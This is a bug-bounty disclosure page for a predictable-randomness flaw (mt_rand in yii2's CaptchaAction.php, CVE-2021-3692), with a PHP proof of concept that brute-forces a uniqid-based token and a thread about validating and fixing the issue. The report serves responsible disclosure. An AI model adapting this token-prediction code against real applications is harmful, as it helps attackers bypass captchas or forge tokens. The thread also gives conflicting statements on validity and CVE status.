huntr

Use of Predictable Algorithm in Random Number Generator in yiisoft/yii2

0

✓ Valid Reported on Jul 29th 2021

Description

Insecure randomness errors occur when a function that can produce predictable values is used as a source of randomness in security-sensitive context.
In this case the function that generates weak random numbers is `mt_rand()` in `CaptchaAction.php` at `line 217` .

Proof of Concept

```
 <?php
echo PHP_EOL;

/**
 * Generate token to crack without leaking microtime
 */
mt_srand(1361723136.7);
$token = hash('sha512', uniqid(mt_rand()));

/**
 * Now crack the Token without the benefit of microsecond measurement
 * but remember we get seconds from HTTP Date header and seed for
 * mt_rand() using earlier attack scenario ;)
 */
$httpDateSeconds = time();
$bruteForcedSeed = 1361723136.7;
mt_srand($bruteForcedSeed);
$prefix = mt_rand();

/**
 * Increment HTTP Date by a few seconds to offset the possibility of
 * us crossing the second tick between uniqid() and time() calls.
 */
for ($j=$httpDateSeconds; $j < $httpDateSeconds+2; $j++) {
    for ($i=0; $i < 1000000; $i++) {
        /** Replicate uniqid() token generator in PHP */
        $guess = hash('sha512', sprintf('%s%8x%5x', $prefix, $j, $i));
        if ($token == $guess) {
            echo PHP_EOL, 'Actual Token: ', $token, PHP_EOL,
                'Forced Token: ', $guess, PHP_EOL;
            exit(0);
        }
        if (($i % 20000) == 0) {
            echo '~';
        }
    }
}
```

Impact

The random number generator implemented by `mt_rand()` cannot withstand a cryptographic attack, it is easy for an attacker to guess the strings it generates.

Occurrences

CaptchaAction.php L217

References

- https://www.ambionics.io/blog/php-mt-rand-prediction
- https://www.huntr.dev/bounties/1624909120370-w7corp/easywechat/
- https://cwe.mitre.org/data/definitions/338.html

CVE
CVE-2021-3692
(Published)

Vulnerability Type
CWE-1241: Use of Predictable Algorithm in Random Number Generator

Severity

Chat with us

High (8.1)

Affected Version

*

Visibility

Public

Status

Fixed

Found by

Akshay Jain

@wr3nch0x1

unranked

This report was seen 618 times.

Z-Old a year ago Admin

Hey Akshay, I've reached out to the yii2 team, and am waiting to hear back. Good job!

Akshay Jain a year ago Researcher

Thanks Ziding :)

Z-Old a year ago Admin

Hey Akshay, we are in contact with the maintainers. They have a few questions, so will invite them to the platform to ask you.

Akshay Jain a year ago Researcher

Sure!

We have contacted a member of the **yiisoft/yii2** team and are waiting to hear back a year ago

Akshay Jain a year ago Researcher

Hi @maintainer, as we discussed in another form, we consider this as False positive because it is a non-sensitive page or action!

Akshay Jain a year ago Researcher

Please let me know if you are OK with this? @maintainer

A **yiisoft/yii2** maintainer validated this vulnerability a year ago

Akshay Jain has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **yiisoft/yii2** maintainer a year ago

This is a valid issue. We are going to fix it by using CSRNG everywhere.

A **yiisoft/yii2** maintainer marked this as fixed with commit **13f27e** a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Akshay Jain a year ago Researcher

Thanks!! :)

Sign in to join this conversation